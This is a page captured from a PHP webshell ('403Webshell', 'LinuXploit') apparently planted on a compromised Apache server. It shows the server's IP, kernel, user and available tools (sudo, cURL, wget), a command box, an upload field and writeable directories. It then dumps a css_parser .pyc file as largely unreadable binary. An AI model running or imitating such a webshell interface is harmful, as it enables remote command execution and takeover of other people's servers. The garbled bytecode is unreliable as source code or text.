403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/css_parser/css/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/css_parser/css/__pycache__/property.cpython-312.pyc
�

��3e�I���ddlmZmZmZmZddlZddlmZddlm	Z		dgZ
dZdZddl
Z
e
jdd	k\reZneZGd
�dej$j&�Zy)�)�unicode_literals�division�absolute_import�print_functionN�)�
PropertyValue)�
Deprecated�Property�restructuredtextz$Id$�c���eZdZdZ		d$�fd�	Zd�Zd�Zd�Zd�Zd�Z	e
ee	d�	�Zd
�Ze
d�ed�
�Z
e
d�d�
�Zd�Ze
d�ed�
�Zd�Zd�Ze
eed�
�Zd�Ze
d�ed�
�Ze
d�d�
�Zd�Ze
d�ed�
�Zd�Ze
ed�
�Zed �d!��Zed �d"��Ze
eed#�
�Z�xZS)%r
a<A CSS property in a StyleDeclaration of a CSSStyleRule (css_parser).

    Format::

        property = name
          : IDENT S*
          ;

        expr = value
          : term [ operator term ]*
          ;
        term
          : unary_operator?
            [ NUMBER S* | PERCENTAGE S* | LENGTH S* | EMS S* | EXS S* |
              ANGLE S* | TIME S* | FREQ S* | function ]
          | STRING S* | IDENT S* | URI S* | hexcolor
          ;
        function
          : FUNCTION S* expr ')' S*
          ;
        /*
         * There is a constraint on the color that it must
         * have either 3 or 6 hex-digits (i.e., [0-9a-fA-F])
         * after the "#"; e.g., "#000" is OK, but "#abcd" is not.
         */
        hexcolor
          : HASH S*
          ;

        prio
          : IMPORTANT_SYM S*
          ;

    c���tt|��gdgg|_d|_||_||_d|_d|_d|_	t|��|jd<|r||_||_d|_
d|_|r||_yy)a�
        :param name:
            a property name string (will be normalized)
        :param value:
            a property value string
        :param priority:
            an optional priority string which currently must be u'',
            u'!important' or u'important'
        :param _mediaQuery:
            if ``True`` value is optional (used by MediaQuery)
        :param parent:
            the parent object, normally a
            :class:`css_parser.css.CSSStyleDeclaration`
        NF���parentr)�superr
�__init__�seqs�
wellformed�_mediaQueryr�_Property__nametoken�_name�_literalnamer�name�
propertyValue�	_priority�_literalpriority�priority)�selfr�valuerrr�	__class__s      ��9/usr/lib/python3/dist-packages/css_parser/css/property.pyrzProperty.__init__6s���� 	�h��&�(���r�N��	����&�����������
����$�D�1��	�	�!����D�I�!&�D����� "����$�D�M��c	��d|jj�d|j�d|jj�d|j
�d�	S)Nzcss_parser.css.z(name=z, value=z, priority=�))r!�__name__�literalnamer�cssTextr�rs r"�__repr__zProperty.__repr__Ys8���N�N�#�#�������&�&��M�M�	�	r#c
���d|jj|jj|j|jj
|j|jt|�fzS)Nz<<%s.%s object name=%r value=%r priority=%r valid=%r at 0x%x>)	r!�
__module__r&rrr(r�valid�idr)s r"�__str__zProperty.__str__`sY��M��.�.�+�+��.�.�)�)��)�)��$�$�,�,��-�-��*�*��T�(�
��	r#c�N�	|jjS#t$rYywxYw)z%Return True if validation is enabled.T)r�
validating�AttributeErrorr)s r"�
_isValidatingzProperty._isValidatingjs)��	��;�;�)�)�)���	��	�s��	$�$c�@�tjj|�S)z#Return serialized property cssText.)�
css_parser�ser�do_Propertyr)s r"�_getCssTextzProperty._getCssTextrs���~�~�)�)�$�/�/r#c��|j|�}|j|d��}|�rd}|j|d��}|j|d��}|jr|s||_d|_d|_y|j
�}|j|�dk7r1d}|jjd|j|�z|�n2|s0d}|jjd	|j|�z|�|r9|j|d
�dk(rR|jd|j
d
��n0d}|jjd
|j|�z|�|r>d|_||_||_||_|j�r|j�yyy|jjd	|j|�z�y)a
        :exceptions:
            - :exc:`~xml.dom.SyntaxErr`:
              Raised if the specified CSS string value has a syntax error and
              is unparsable.
            - :exc:`~xml.dom.NoModificationAllowedErr`:
              Raised if the rule is readonly.
        T)�propertynameendonly)�propertyvalueendonly)�propertypriorityendonlyN�:Fz%Property: No ":" after name found: %sz$Property: No property name found: %s����!rz%Property: No property value found: %s)�
_tokenize2�_tokensupto2rrrr�pop�_tokenvalue�_log�error�	_valuestr�insertrr3�validate)rr(�	tokenizer�
nametokensr�valuetokens�prioritytokens�
colontokens        r"�_setCssTextzProperty._setCssTextvs����O�O�G�,�	��&�&�y�d�&�K�
���J��+�+�I�AE�,�G�K�!�.�.�y�GK�/�M�N�����&��	�%)��"� $��
��$���)�J����
�+�s�2�"�
��	�	��� G� $���w� 7�!8�9C�E��"�
��	�	��� F� $���w� 7�!8�9C�E���#�#�K��O�4��;�"�)�)�!�[�_�_�R�-@�A�"�
��	�	��� G� $���w� 7�!8�9C�E��"&���&��	�%0��"� .��
��%�%�'��M�M�O�(��
�I�I�O�O�B� �N�N�7�3�4�
5r#z"A parsable textual representation.)�fget�fset�docc�p���ddd��d��fd�	}g}�jd|�j|�d|i��\}}|xr�d}t|t�r
|d	}|�_nd}�d
s1d}�j
j
d�j|�z|�
�|r�d�_�d
�_	�j�j��_|�jd	<�j�rE�jtjj vr�j
j#d|d��yyd�_y)z�
        :exceptions:
            - :exc:`~xml.dom.SyntaxErr`:
              Raised if the specified name has a syntax error and is
              unparsable.
        NT)r'rc����d|k(r7�j|�j��d<|j�d�yd�d<�jj	d|�|S)Nrr'�EOFFr�Property: Unexpected ident.)rC�lower�appendrDrE)�expected�seq�tokenrI�newrs    ��r"�_identz!Property._setName.<locals>._ident�s_�����!�%)�%5�%5�e�%<�%B�%B�%D��M�"��
�
�3�}�-�.��$)��L�!��	�	��� =�u�E��r#r�IDENT�rXrYrI�productionsrrr'FzProperty: No name found: %s)rZz Property: Unknown Property name.�rZ�
neverraise�N)�_parser@�
isinstance�listrrDrErFrr�
_normalizerrr3r5�profile�
knownNames�warn)rrr\�newseqrrXrZr[s`      @r"�_setNamezProperty._setName�sH���#�!�#��		 ���#�{�{�F�/5�59�_�_�T�5J�8?��7H� +� J��
�H� �5�C��$5�
��d�D�!���G�E�$�D���E��=�!��J��I�I�O�O�9� �N�N�4�0�1�8=�
�
?��"�D�O� #�M� 2�D������):�):�;�D�J�!�D�I�I�a�L��!�!�#��
�
�*�:L�:L�:W�:W�(W��	�	���A�%*�t��=��$�D�Or#c��|jSrb)rr)s r"�<lambda>zProperty.<lambda>�s
�����r#zName of this property.)rQc��|jSrb)rr)s r"rmzProperty.<lambda>�s���(9�(9�r#z7Readonly literal (not normalized) name of this propertyc���|jr|st|��|jd<y||jd_|jxr|jdj|_y)a�
        See css.PropertyValue

        :exceptions:
        - :exc:`~xml.dom.SyntaxErr`:
          Raised if the specified CSS string value has a syntax error
          (according to the attached property) or is unparsable.
        - :exc:`~xml.dom.InvalidModificationErr`:
          TODO: Raised if the specified CSS string value represents a different
          type of values than the values allowed by the CSS property.
        rrN)rrrr(r�rr(s  r"�_setPropertyValuezProperty._setPropertyValue�sO�����G�(��5�D�I�I�a�L�#*�D�I�I�a�L� �"�o�o�I�$�)�)�A�,�2I�2I�D�Or#c� �|jdS)Nr)rr)s r"rmzProperty.<lambda>s��$�)�)�A�,�r#z-(css_parser) PropertyValue object of propertyc�H�|jr|jjSy)Nr)rr r)s r"�	_getValuezProperty._getValues ������%�%�+�+�+�r#c�&�|j|�yrb�rq)rr s  r"�	_setValuezProperty._setValues�����u�%r#z3The textual value of this Properties propertyValue.c������jr,d�_d�_|r�jj	d�yt|t�rd�j|�k(rd|z}ddd��d��fd�	}d��fd	�	}g}�jd
|�j|�||d���\}}|xr�d
}|r4�ds/d}�jjd�j|�z�|r��jxr|�_�d�_�j�j��_|�jd<�jdvr)�jj	d�jz�yyy)a�
        priority
            a string, currently either u'', u'!important' or u'important'

        Format::

            prio
              : IMPORTANT_SYM S*
              ;

            "!"{w}"important"   {return IMPORTANT_SYM;}

        :exceptions:
            - :exc:`~xml.dom.SyntaxErr`:
              Raised if the specified priority has a syntax error and is
              unparsable.
              In this case a priority not equal to None, "" or "!{w}important".
              As CSSOM defines CSSStyleDeclaration.getPropertyPriority resulting
              in u'important' this value is also allowed to set a Properties
              priority
        rz0Property: No priority in a MediaQuery - ignored.N�	importantz!%sT)�literalpriorityrc����j|�}d|cxk(r|k(rnn|j|�yd�d<�jjd|�|S)Nr?ryFrzProperty: Unexpected char.�rCrWrDrE�rXrYrZrI�valr[rs     ��r"�_charz$Property._setPriority.<locals>._charDsP����"�"�5�)�C��h�%�#�%��
�
�3��"�$)��L�!��	�	��� <�e�D��r#c����j|�}d|k(r|�d<|j|�yd�d<�jjd|�|S)NryrzrTFrrUr|r}s     ��r"r\z%Property._setPriority.<locals>._identOsV����"�"�5�)�C��h�&�),��%�&��
�
�3���$)��L�!��	�	��� =�u�E��r#r?)�CHARr]r^rrzFzProperty: Invalid priority: %s��rryz#Property: No CSS priority value: %srb)rrrrDrErd�string_typerfrcr@�inforFrrzr)rrrr\rjrrXr[s`      @r"�_setPriorityzProperty._setPrioritysv���,����D�N�$&�D�!���	�	���!+�,���h��,�����PX�@Y�1Y��x�'�H�#%�!�#��		 �
	 ���#�{�{�C�/5�59�_�_�X�5N�@E�AG�8I� +� J��
�H�
 �5�C��$5�
��C� 1�2��J��I�I�N�N�;��>�>�(�3�4�
5��"�o�o�<�*�D�O�$'�(9�$:�D�!�!�_�_�T�-A�-A�B�D�N�!�D�I�I�a�L��~�~�%6�6��	�	��� E� $���!/�0�7�
r#c��|jSrb)rr)s r"rmzProperty.<lambda>ss
��T�^�^�r#zPriority of this property.c��|jSrb)rr)s r"rmzProperty.<lambda>vs��D�,A�,A�r#z;Readonly literal (not normalized) priority of this propertyc��||_yrb��_parent)rrs  r"�
_setParentzProperty._setParentys	����r#c��|jSrbr�r)s r"rmzProperty.<lambda>|s
��4�<�<�r#zAThe Parent Node (normally a CSSStyledeclaration) of this Propertyc	��d}d}	|jj}|�5|j|jk(rtj
jg}	|j�r�|j�rt	|jtj
jv�rLtj
j|j|j|�\}}}|sH|jjddj|��d|j��|jd��n�|r~|s||s*djtj
j �}n|}|jj#d|�d	dj|��d
|j�d�|jd��d}nI|rG|jj%ddj|��d
|j��|jd��|j&d
vrd}|S#t$rY���wxYw)a		Validate value against `profiles` which are checked dynamically.
        properties in e.g. @font-face rules are checked against
        ``css_parser.profile.CSS3_FONT_FACE`` only.

        For each of the following cases a message is reported:

        - INVALID (so the property is known but not valid)
            ``ERROR    Property: Invalid value for "{PROFILE-1[/PROFILE-2...]"
            property: ...``

        - VALID but not in given profiles or defaultProfiles
            ``WARNING    Property: Not valid for profile "{PROFILE-X}" but valid
            "{PROFILE-Y}" property: ...``

        - VALID in current profile
            ``DEBUG    Found valid "{PROFILE-1[/PROFILE-2...]" property...``

        - UNKNOWN property
            ``WARNING    Unknown Property name...`` is issued

        so for example::

            css_parser.log.setLevel(logging.DEBUG)
            parser = css_parser.CSSParser()
            s = parser.parseString('''body {
                unknown-property: x;
                color: 4;
                color: rgba(1,2,3,4);
                color: red
            }''')

            # Log output:

            WARNING Property: Unknown Property name. [2:9: unknown-property]
            ERROR   Property: Invalid value for "CSS Color Module Level 3/CSS Level 2.1" property: 4 [3:9: color]
            DEBUG   Property: Found valid "CSS Color Module Level 3" value: rgba(1, 2, 3, 4) [4:9: color]
            DEBUG   Property: Found valid "CSS Level 2.1" value: red [5:9: color]


        and when setting an explicit default profile::

            css_parser.profile.defaultProfiles = css_parser.profile.CSS_LEVEL_2
            s = parser.parseString('''body {
                unknown-property: x;
                color: 4;
                color: rgba(1,2,3,4);
                color: red
            }''')

            # Log output:

            WARNING Property: Unknown Property name. [2:9: unknown-property]
            ERROR   Property: Invalid value for "CSS Color Module Level 3/CSS Level 2.1" property: 4 [3:9: color]
            WARNING Property: Not valid for profile "CSS Level 2.1" but valid
            "CSS Color Module Level 3" value: rgba(1, 2, 3, 4)  [4:9: color]
            DEBUG   Property: Found valid "CSS Level 2.1" value: red [5:9: color]
        FNzProperty: Invalid value for "�/z" property: Tr`z!Property: Not valid for profile "z
" but valid "z	" value: � zProperty: Found valid "r�)r�
parentRule�type�FONT_FACE_RULEr5rg�CSS3_FONT_FACEr2rr rh�validateWithProfilerDrE�joinr�defaultProfilesri�debugr)rr-�profiles�rule�matching�
validprofiles�notvalidprofiless       r"rHzProperty.validate�s���t����	C��;�;�)�)�D����9�9�� 3� 3�3� *� 2� 2� A� A�B�H��9�9������y�y�J�.�.�9�9�9��&�&�:�:�4�9�9�d�j�j�RZ�[�/��x����I�I�O�O�'*�x�x�
�'>��
�
�%L�+/�*:�*:�/3�	$�5��8�#�+.�8�8�J�4F�4F�4V�4V�+W�(�+3�(��I�I�N�N�&6�����8O�&*�j�j�$2�*.�)9�)9�.2�#�4�"�E���I�I�O�O�'*�x�x�
�'>��
�
�%L�*.�*:�*:�/3�$�5�
�>�>�!2�2��E����i�	��	�s�G3�3	H�?HzCCheck if value of this property is valid in the properties context.z'Use ``property.propertyValue`` instead.c��|jSrb)rr)s r"�_getCSSValuezProperty._getCSSValue�s���!�!�!r#c�&�|j|�yrbrvrps  r"�_setCSSValuezProperty._setCSSValue�s�����w�'r#z4(DEPRECATED) Use ``property.propertyValue`` instead.)NNrFN) r&r,�__qualname__�__doc__rr*r/r3r8rN�propertyr(rkrr'rqrrtrwr r�rrzr�rrHr-r	r�r��cssValue�
__classcell__)r!s@r"r
r
sZ���!�F8:�+/�!%�F���0�<5�|�K�k�?�A�G�<$�|�+�X�0�2�D��9� 2�3�K�J�$�6�.�!P�R�M��&�
�Y�	�N�
P�E�R0�h�3�\�8�:�H��A�#`�b�O���/��!�"�F�t�l
�X�$@�
A�E��9�:�"�;�"��9�:�(�;�(���l�R�T�Hr#)�
__future__rrrrr5r r�css_parser.helperr	�__all__�
__docformat__�__version__�sys�version_info�strr��
basestring�util�Baser
�r#r"�<module>r�sb��R�R�� �(�A��,��"�
���
����A��!���K��K�pT�z���#�#�pTr#

Youez - 2016 - github.com/yon3zu
LinuXploit